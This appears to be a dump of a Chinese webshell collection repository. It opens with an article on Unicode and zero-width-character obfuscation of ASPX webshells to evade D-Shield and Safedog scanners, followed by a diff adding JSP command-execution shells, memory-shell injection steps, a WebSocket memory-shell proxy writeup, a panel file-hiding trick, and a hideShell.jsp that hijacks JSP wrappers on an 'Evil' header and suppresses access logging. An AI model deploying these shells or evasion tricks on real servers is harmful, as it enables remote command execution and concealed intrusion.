![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8hqpMIY2QyIic8psNgLbVzzt0cUEZVhg3X2ezH2foTzaBwp9sG2yxFkw/640?wx_fmt=png)
2.1 起源
------
早期美帝的程序员没有意识到英语只是全世界所有语言中的一种他们以为26个英文字母再加上一些其它符号就够用了所以就只有ASCII码但是随着互联网的发展他们终于意识到软件原来还是需要给不同国家不同语言的人来使用的所以就开始有了其它的编码方法但因为缺少一个一统天下的标准所以乱码问题非常严重。而 Unicode 就是要来解决这个问题20世纪80年代末Unicode协会成立该协会成立的目的在于用一个足够大统一的字符集来支持世界上的所有语言简单的说`Unicode是一套通用的字符集包含世界上的大部分字符`。Unicode协会在1991年首次发布了The Unicode Standard之后每1-2年发布一个大的版本以增加重大特性。从2013年9月Unicode6.3发布之后Unicode一直保持一个相对稳定的发布周期在每年的上半年发布一个新版本。直至2020年3月Unicode的版本为Unicode 13.0.0在最新的Unicode13版本中包含了大约14万字符可以支持154种脚本的文本显示除了定义哪些字符会被涵盖外它还要定义每个字符所对应的码位。
2.2 码位
------
码位英文名为 Code point 或 Code position Unicode 字义了字符集合后,需要为每个字符指定一个数字,这样计算机才有办法处理。假如字符集中有 1 万个字符,那就需要 1 万个数字,每个字符对应一个数字,这所有的 1 万个数字就构成了编码空间,而每个数字就是对应的字符的码位。
2.3 UTF-8字符集
------------
UTF-8 应用非常广泛,即使是个刚入行的小白,也应该会经常听到前辈说,“把文件保存成 UTF-8”“这个讨厌的网站居然用的是 GB2312 编码”,等等。之所以这么流行,是因为 UTF-8 完全兼容 ASCII对于 ASCII 字符UTF-8 使用和 ASCII 完全一样的编码方式,同样只使用一个字节,这就意味着,如果被编码的字符仅含 ASCII 字符,那即使是用 UTF-8 进行编码,只支持 ASCII 的旧系统仍然能够准确地解码。同时,如果被编码的字符大部分是 ASCII 字符因为只占用一个字节UTF-8 也最节省空间 .NET 在设计过程中就考虑了对 Unicode 字符的支持,**char**是 .NET Framework 中的 **System.Char**对象,也是最基本的字符类型 ,每个`char`都是一个 Unicode 字符。它在内存中占用 2 个字节,取值范围为 0-65535UTF8将每个Unicode标量值映射成一到四个无符号的8比特的编码单元这是一种变长的编码方案码位大于`\xFFFF`的字符使用4字节存储小于等于`\xFFFF`大于`\x07FF`的使用3字节小于等于`\x07FF`大于`\x007F`的使用2字节小于等于`\x007F`使用1字节因为UTF8性能效率都很高所以很多的网站和应用程序、媒体设备都使用它。理论就介绍这么多接下来看一些案例 比如常规的.NET启动进程代码
<%@ Page Language="C#" trace="false" validateRequest="false"
EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
protected void Page\_load(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("cmd.exe","/c calc");
}
</Script>
2.4 UTF-16字符集
-------------
一种变长的编码格式,码位大于`\xFFFF`的字符使用4字节存储小于等于`\xFFFF`的字符使用2字节存储将Process.Start方法使用UTF16编码为Process.\\u0053\\u0074\\u0061\\u0072\\u0074如下图
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8qd1SIoa2xJiaP6yyoaHQPfqlw2Usa4MEOM0u5aibMSibQhQsfzJy4YpAQ/640?wx_fmt=png)
还可以对完全限定路径做编码,注意 `.` 不能编码为 `\u002e`,否则编译器会抛出异常,如下编码 System.Diagnostics.Process.Start即使换行也不影响运行
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load()
{
\\u0053\\u0079\\u0073\\u0074\\u0065\\u006d.
\\u0044\\u0069\\u0061\\u0067\\u006e\\u006f\\u0073\\u0074\\u0069\\u0063\\u0073.
\\u0050\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073.
\\u0053\\u0074\\u0061\\u0072\\u0074("cmd.exe","/c calc");
}
</Script>
分别用安全狗和D盾测试免杀效果同目录下还有另外3个文件aspx.aspx 是经典Jscript一句话木马aspxspy.aspx 看文件名就知道是经典大马xls.aspx 是基于xml文档实现的小马对比被杀的3个WebshellUnicode编码后的webshell免杀效果非常理想如下图unicode.aspx
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8ys5jLsYrNCA2tQibz3SfyLf8nsKwYKln9u77z1qibmUYKM0M49LibVKdA/640?wx_fmt=png)
2.5 UTF-32字符集
-------------
Unicode 的编码空间为 0xFFFF - 0x10FFFF那可以想到的最简单的办法就是让每个码位对应一个 32 位 (4 bytes) 二进制数,这就是 UTF-32 编码。所以在 UTF-32 中,每个字符占用 4 个字节它是一种定长编码格式使用32位表示Unicode中的一个码位。由于Unicode的码位实际只用了21位所以多余部分前导0。例如字符小写字母a对应码位为`\x61`,存储的字节序列为:`\x00000061`。如下代码保存为U32.aspx尝试用D盾扫描只扫出上述3个经典webshell并未检测出UTF32编码后的恶意样本
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Process.
\\U00000053\\U00000074\\U00000061\\U00000072\\U00000074("cmd.exe","/c calc");
}
</script>
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88QJby07AhqicjsoMhwaHsOdUNOGDBer8KCtlJ8ymFicIwxuhGfa5fOyQ/640?wx_fmt=png)
Unicode标准中码位的表示方法通常是使用它们的十六进制并加上`U+`前缀。码位的分类方法多种多样。我们通过下表来阐明Unicode标准使用的几种平面和一些术语。
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8bwXnsHcgoZWKanqEp8klDGe88pTic0ub0Vq9mHa39qCRg9o02bO4Fwg/640?wx_fmt=png)
3.1 基本多语言平面
-----------
基本多语言平面全称Basic Multilingual Plane简称 BMP也是Unicode编码中最重要的平面包含了几乎所有常用的系统和符号码位范围U+0000 - U+FFFF除了常见的符号外在 BMP中还有拉丁字符和其他欧洲字符如希腊、西里尔字母、非洲、亚洲字符此外BMP中保留了自定义字符的私人使用空间。另外又细分了163块内容以下列出其中的6块内容用于举例说明
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88Kkzqu46Y6tTKibialveGJy5Pyz5EVEuQx08Fhq6CtuvwaFbcwWD7Dpw/640?wx_fmt=png)
3.2 补充多语言平面
-----------
补充多语种平面全称Supplementary Multilingual Plane简称 SMP码位范围U+10000 - U+1FFFF这个平面包含很少使用的历史系统符号例如多米诺骨牌的标志。另外又细分了134块内容以下列出其中的6块内容用于举例说明
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8yhDI6tSqh43xvdGibx3oRLPCeyTjIfCfq68cIyibVMriawnxHtdKFoic3g/640?wx_fmt=png)
3.3 补充表意平面
----------
补充表意平面全称Supplementary Ideographic Plane简称 SIP码位范围U+20000 - U+2FFFF这个平面只有日文、中文和韩文字符并且它们很少被使用另外仅有6块内容笔者就不再列出
3.4 未分配区域
---------
未分配区域全称unassigned码位范围 U+30000 - U+DFFFF 尚未被占用,由于可能出现在系统之外的字符,所以这些字符可能会在某些时候被分配用到。
3.5 补充专用平面
----------
补充专用平面全称Supplement­ary Special-purpose Plane简称 SSP码位范围 U+E0000 - U+EFFFF ,该区域包含非图形符号和替代字形扇区,这些可用于文字字符无法描绘的内容。
3.6 私人使用区
---------
私人使用区全称Supplement­ary Private Use Area planes简称 SPUAP码位范围 U+F0000 - U+10FFFF 保留给私人使用Unicode Consortium没有明确定义这些字符因此无法统一使用。
BMP中有一块内容是通用标点符号码位范围 U+2000 U+206F 这个区域分配了111个字符我们需要关心的字符大约有10个这些基本都是非打印不可见的字符可被利用拆解代码里敏感的类名或方法名
4.1 零宽度非连接器
-----------
零宽度非连接器ZERO WIDTH NON-JOINERZWNJ `U+200C、U+0000200C` 通常使用在波斯语多个文字连在一起时起到分割符作用,零宽度非连接符会告诉字体引擎不要将它们组合在一起,这是系统中使用的非打印字符。笔者在.NET代码里用它拆解Process类名和Start方法名如下
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\U0000200Ccess.Star\\u200Ct("cmd.exe","/c calc");
}
</script>
4.2 零宽度连接器
----------
零宽度连接器ZERO WIDTH JOINERZWJ `U+200D、U+0000200D` 通常使用在梵文,零宽度连接器与零宽度非连接器相反,当多个原本不会连接的字符之间时,零宽度连接符会使它们以连接的形式打印在一起。如下代码
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u200Dcess.Star\\u200Dt("cmd.exe","/c calc");
}
</script>
4.3 由左到右标记
----------
从左到右标记符 (LRM) `U+200E、U+0000200E` 是一种不可见的格式化字符用于Microsoft Word 等程序中的文字处理,像西里尔语从左到右文本、如叙利亚语从右到左的文本,用于设置相邻字符相文本方向的分组方式。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u200Ecess.Star\\u200Et("cmd.exe","/c calc");
}
</script>
4.4 由右到左标记
----------
从右到左标记符 (RLM) `U+200F 、U+0000200F` 是一种不可见的格式化字符和4.3用法正好相反,用于设置相邻字符相文本方向的分组方式。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u200Fcess.Star\\u200Ft("cmd.exe","/c calc");
}
</script>
4.5 由左到右嵌入
----------
从左到右嵌入符 (LRE) `U+202A、U+0000202A` 从 Unicode 6.3 开始,不鼓励使用`U+2066`嵌入的字符会影响外部字符的顺序。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Acess.Start("cmd.exe","/c calc");
}
</script>
4.6 由右到左嵌入
----------
从右到左嵌入符 (RLE) `U+202B、U+0000202B` 从 Unicode 6.3 开始,不鼓励使用`U+2067`嵌入中的字符会影响外部字符的顺序
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Bcess.Start("cmd.exe","/c calc");
}
</script>
4.7 定向格式化
---------
Pop Directional FormattingPDF `U+202C、U+0000202C`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Ccess.Start("cmd.exe","/c calc");
}
</script>
4.8 由左到右覆盖符
-----------
从左到右覆盖符LRO `U+202D、U+0000202D`,字符正向显示顺序
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Dcess.Start("cmd.exe","/c calc");
}
</script>
4.9 由右到左覆盖符
-----------
从右到左覆盖符RLO `U+202E、U+0000202E`,它的特性是可以反转其他字符的显示顺序,比如`DotNet安全矩阵`,给每个字符前面加上\\u202E`\u202ED\u202Eo\u202Et\u202EN\u202Ee\u202Et\u202E安\u202E全\u202E矩\u202E阵`就会变成 `阵矩全安teNtoD`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Ecess.Start("cmd.exe","/c calc");
}
</script>
4.10 零宽度不间断空格
-------------
零宽度不间断空格ZWNBSP `U+FEFF、U+0000FEFF`,一般用于文件开头的字节顺序标记 (BOM),在 UTF-16 中BOM 是两个字节Big-endian 对应的 BOM 是 0xFEFFLittle-endian 对应的 BOM 是 0xFFFE。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\uFEFFcess.Start("cmd.exe","/c calc");
}
</script>
4.11 行间注解终止符
------------
行间注解终止符 `U+FFFB、U+0000FFFB`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\uFFFBcess.Start("cmd.exe","/c calc");
}
</script>
4.12 行间标记注释符
------------
行间标记注释符 `U+FFF9、U+0000FFF9`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\uFFF9cess.Start("cmd.exe","/c calc");
}
</script>
4.13 行间标记分割符
------------
行间标记分割符 `U+FFFA、U+0000FFFA`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\uFFFAcess.Start("cmd.exe","/c calc");
}
</script>
笔者从第4小节挑选3个WebShell文件对D盾均达到免杀效果如下图
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8KyLyHuTolEeJMFxMNia658LpK6pI2xDH1KpLQuEXFHN7JjuXyhP0ubQ/640?wx_fmt=png)
但笔者之前写的风险检查助手却被D盾识别为1级可疑文件从说明可知 WMI查询接口视为敏感操作经过多次对比筛选后发现引入的命名空间System.Management被当作恶意特征如下图
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW80BBwiaiaOUzI1t0GLiahhhG4SCX9p4D0hDEN8ficpznYQu3XE6icWrCNojA/640?wx_fmt=png)
在命名空间字符串任意位置插入\\u200C例如变成 Sys\\u200Ctem.Mana\\u200Cgement 免杀成功顺利通过D盾查杀编码后的助手文件运行也一切正常如下图
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88UIibsLGWho5p7kYGxPiccEdicw5Jdt0iaXe9Vrjh6PAB19sp8M9jBGepw/640?wx_fmt=png)
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8YC6yXGbUPxcgsoYu72z2KWvsAaFTtnCqLZmwjpFRNTP1gcpDxI2OCQ/640?wx_fmt=png)
相信通过本文介绍大家对.NET下的Unicode编码绕过有了初步的认知由于Unicode通用性极强所以其他语言诸如Java、PHP也会受其影响。下一篇将继续分享 .NET 免杀Trick请大伙继续关注文章文章涉及的工具和PDF已打包发布在星球欢迎对.NET安全关注和关心的同学加入我们 \[dotNet安全矩阵\] ,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
from https://mp.weixin.qq.com/s/VIsJlDmWGD0QcgBDDsRP9g

1
backlion/webshell Submodule

Submodule backlion/webshell added at 4ced903c80

18
bt_yincang_shell.md Normal file
View File

@@ -0,0 +1,18 @@
bt 面板隐藏webshell小技巧
最近宝塔的phpmyadmin大家应该都已经知道了。我就不炒冷饭最近也没有研究什么比较有含量的就分享一个宝塔面板隐藏webshell的小技巧比较水。
创建一个文件名为```.<a.php```的文件
![image](https://mmbiz.qpic.cn/mmbiz_png/noZJ3Kqbu1cMNE3SHdMvFB36kcMbEWk8xjy4y3M4s8KQnT5tBHFiaO2p0AolDy0HBDsbBGZ3mcOeHicoyMic2bvIg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
解压出来以后,宝塔的文件管理面板中是不会出现的
![](https://mmbiz.qpic.cn/mmbiz_png/noZJ3Kqbu1cMNE3SHdMvFB36kcMbEWk8ibRCosCwfqfehHput38DJicXQiaeLiaT2SIZFiaOribt3udemBmzK8glHiaicg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
但是文件是存在的
而且可以正常访问
![](https://mmbiz.qpic.cn/mmbiz_png/noZJ3Kqbu1cMNE3SHdMvFB36kcMbEWk8bDBrx4LOThfraAEQk7ribZibyKuUrdeC8GpWeibHXsmyGRb9zA6NzpoUg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)

2
bypass.md Normal file
View File

@@ -0,0 +1,2 @@
### 1. [一个经典的过人 WebShell by tr0y](https://www.tr0y.wang/2020/07/14/webshell-bypass-human/)
### 2. [WebShell免杀 by 4hou.win](https://4hou.win/wordpress/?p=47975)

Binary file not shown.

Binary file not shown.

BIN
content/WebShell免杀.pdf Normal file

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

1
content/readme.md Normal file
View File

@@ -0,0 +1 @@
### 故名思意,收集一些方法技术pdf存档查看

View File

@@ -0,0 +1,3 @@
share project bypass waf
https://github.com/LandGrey/webshell-detect-bypass

Binary file not shown.

Binary file not shown.

27
cseroad/README.md Normal file
View File

@@ -0,0 +1,27 @@
## Webshell_Generate
**仅用于技术交流,请勿用于非法用途。**
该工具没什么技术含量学了一点javafx使用jdk8开发出了几个简单功能用来管理webshell。页面比较low。
工具整合并改写了各类webshell支持各个语言的cmd、蚁剑、冰蝎、哥斯拉又添加了实际中应用到的一些免杀技巧以方便实际需要。
## 使用说
直接下载releases版即可
![image-20220519102709278](images/:Users:cseroad:typora:java高级:images:image-20220519102709278.png)
## 参考资料
参考了诸多大佬的文章、工具、思路,如
https://github.com/CrackerCat/JSPHorse
https://github.com/LandGrey/webshell-detect-bypass
https://github.com/czz1233/GBByPass
https://github.com/pureqh/Troy
http://yzddmr6.com/posts/jsp-webshell-upload-bypass/
https://xz.aliyun.com/t/10937

Binary file not shown.

View File

@@ -1 +0,0 @@
shell.endp.top

View File

@@ -32,7 +32,7 @@ Response.Write("</pre>");
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>

Binary file not shown.

View File

@@ -0,0 +1,19 @@
将release中的inject.jar agent.jar复制目标服务器。
运行inject.jar:
(测试时注意备份会删除自身和agent.jar)
```jsp
java -jar inject.jar 123
```
连接内存马:
```jsp
http://ip:port/1.jsp?pass_the_world=123&model=chopper
```
执行命令:
```jsp
http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami
```

Binary file not shown.

Before

Width:  |  Height:  |  Size: 164 KiB

1
jsp/2021052101.jsp Normal file

File diff suppressed because one or more lines are too long

17
jsp/2022-09-03-01.jsp Normal file
View File

@@ -0,0 +1,17 @@
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>

16
jsp/2022-09-03-02.jsp Normal file
View File

@@ -0,0 +1,16 @@
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = new ProcessBuilder(new String[]{cmd}).start();
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>

17
jsp/2022-09-03-03.jsp Normal file
View File

@@ -0,0 +1,17 @@
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

View File

@@ -0,0 +1,122 @@
兼容性测试
-------
#### 1目前测试通过
Tomcat、Spring、Jetty、WebSphere、WebLogic
Nodejs (无法动态注入,需要修改代码后重启服务)
#### 2还未进行测试
Jboss(WildFly)
#### 3无法使用的场景
1.使用了Nginx等代理未配置Header转发 支持WebSocket
2.使用了CDNCDN供应商未支持WebSocket服务
1.前言
----
WebSocket是一种全双工通信协议即客户端可以向服务端发送请求服务端也可以主动向客户端推送数据。这样的特点使得它在一些实时性要求比较高的场景效果斐然比如微信朋友圈实时通知、在线协同编辑等。主流浏览器以及一些常见服务端通信框架Tomcat、Spring、Jetty、WebSphere、WebLogic等都对WebSocket进行了技术支持。
本文都以Tomcat进行介绍讨论其他框架也可实现WebSocket内存马
2.版本
----
2013年以前还没出JSR356标准Tomcat就对Websocket做了支持自定义API再后来有了JSR356Tomcat立马紧跟潮流废弃自定义的API实现JSR356那一套这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了。
JSR356 是java制定的websocket编程规范属于Java EE 7 的一部分所以要实现websocket功能并不需要任何第三方依赖。
3.服务端实现方式
---------
#### 1注解方式
```
@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)
```
Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
所以即使 Tomcat 没有扫描到 `@ServerEndpoint`注解的类也会进行Listener和 servlet注册这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDyIPlQ1ibuyFSyyCyicibqfFHGibTgorHmo7StKqdRWdDULqZcj8MDegicyNg/640?wx_fmt=png)
#### 2继承抽象类Endpoint方式
继承抽象类 `Endpoint`方式比加注解 `@ServerEndpoint`方式更麻烦,主要是需要自己实现 `MessageHandler``ServerApplicationConfig``@ServerEndpoint`的话都是使用默认的,原理上差不多,只是注解更自动化,更简洁
可以用代码更方便的控制 ServerEndpointConfig 内的属性
```
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();
```
3.websocket内存马实现方法
------------------
之前提到过 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
那如果在服务启动后我们再 addEndpoint 加入websocket服务行不行呢答案是肯定的而且非常简单只需要三步。创建一个ServerEndpointConfig获取ws ServerContainer加入 ServerEndpointConfig即可
```
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);
```
4.效果
----
首先利用i.jsp注入一个websocket服务路径为/x注入后利用ws连接即可执行命令
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDyUjXicQAW5TEAyHuOdJuS52vcXazKeO2iah5twL0KkTEoa0icJib3MVL9gw/640?wx_fmt=png)
且通过memshell scanner查询不到任何异常因为根本就没注册新的 Listener、servlet 或者 Filter
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDyFz5ZbjxcicSa3ll4ic2uRyhaiccVIibC6IOy2fRDGMn5DuuSY8ibK0TK7CA/640?wx_fmt=png)
5.代理
----
WebSocket是一种全双工通信协议它可以用来做代理且速度和普通的TCP代理一样快这也是我研究websocket内存马的原因。
例如有一台不出网主机,有反序列化漏洞。
以前在这种场景下可能会考虑上reGeorg或者利用端口复用来搭建代理。
现在可以利用反序列化漏洞直接注入websocket代理内存马然后直接连上用上全双工通信协议的代理。
注入完内存马以后,使用 Gosthttps://github.com/go-gost/gost 连接代理
```
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
```
然后连接本地1080端口socks5即可使用代理
6.多功能shell实现
------------
建议在了解 哥斯拉webshell工具 工作原理及代码,及 wsMemShell 原理及代码后,再阅读下面这篇 Freebuf 文章,获得更好的阅读体验。
Freebuf: WebSocket webshell 多功能shell实现\[1\]
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDynQNvLb2icCJpgaglBCXfCHnos1KaibYqzHugibtfm6W1o2AicBKCic8qe6w/640?wx_fmt=png)
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDyLUia3ZzEUysicKv3eraibWyoDyAECzvBGVCjUFm9onwvaYiaNnMt8aDdvw/640?wx_fmt=png)
版权声明
----
完整代码https://github.com/veo/wsMemShell
本文章著作权归作者所有。转载请注明出处https://github.com/veo
#### 引用链接
`[1]` WebSocket webshell 多功能shell实现: _https://www.freebuf.com/articles/web/339702.html_

393
jsp/hideShell.jsp Normal file
View File

@@ -0,0 +1,393 @@
<%@page import="java.awt.SystemColor"%>
<%@page import="org.apache.jasper.JspCompilationContext"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.zip.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@page import="org.apache.jasper.EmbeddedServletOptions"%>
<%@page import="org.apache.jasper.compiler.JspRuntimeContext"%>
<%@page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@page import="org.apache.catalina.valves.AccessLogValve"%>
<%@page import="org.apache.catalina.AccessLog"%>
<%@page import="org.apache.catalina.core.AccessLogAdapter"%>
<%@page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.lang.reflect.*" %><%!
private static class AttachingWrapper extends JspServletWrapper {
private JspServletWrapper original = null;
private JspServletWrapper evil = null;
public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options,
String jspUri, JspRuntimeContext rctxt) {
super(config, options, jspUri, rctxt);
this.original = original;
this.evil = evil;
}
public void service(HttpServletRequest request,
HttpServletResponse response,
boolean precompile)
throws ServletException, IOException, FileNotFoundException {
if (request.getHeader("Evil") != null) {
try {
nolog(request);
} catch (Exception ex){}
this.evil.service(request, response, precompile);
} else {
this.original.service(request, response, precompile);
}
}
}
private static class SpyClassLoader extends ClassLoader{
private byte[] zipdata = null;
private JspWriter out = null;
private Map<String, byte[]> cls = new HashMap<String, byte[]>();
public SpyClassLoader(ClassLoader parent, byte[] zipdata, JspWriter out) throws Exception {
super(parent);
this.out = out;
this.zipdata = zipdata;
this.processZip();
}
private void processZip() throws Exception {
if (this.zipdata != null) {
ZipInputStream stream = null;
stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata));
byte[] buffer = new byte[2048];
ZipEntry entry;
while((entry = stream.getNextEntry())!=null)
{
ByteArrayOutputStream output = null;
try
{
output = new ByteArrayOutputStream();
int len = 0;
while ((len = stream.read(buffer)) > 0)
{
output.write(buffer, 0, len);
}
}
finally
{
if(output!=null) output.close();
//this.out.println(entry.getName());
this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray());
}
}
stream.close();
}
}
protected Class<?> findClass(String name)
throws ClassNotFoundException {
byte[] clsdata = this.cls.get(name+".class");
if (clsdata != null) {
return super.defineClass(name, clsdata, 0, clsdata.length);
}
return null;
}
public Class defineClass(String name,byte[] b) {
return super.defineClass(name,b,0,b.length);
}
}
private static class UploadBean {
private ServletInputStream sis = null;
private OutputStream targetOutput = null;
private byte[] b = new byte[1024];
private String fileName = null;
public String getFileName() {
return this.fileName;
}
public void setTargetOutput(OutputStream stream) {
this.targetOutput = stream;
}
public UploadBean(OutputStream stream) {
this.setTargetOutput(stream);
}
public void parseRequest(HttpServletRequest request) throws IOException {
sis = request.getInputStream();
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!= -1) {
s = new String(b, 0, a,"UTF-8");
if ((k = s.indexOf("filename=\""))!= -1) {
s = s.substring(k + 10);
k = s.indexOf("\"");
s = s.substring(0, k);
File tF = new File(s);
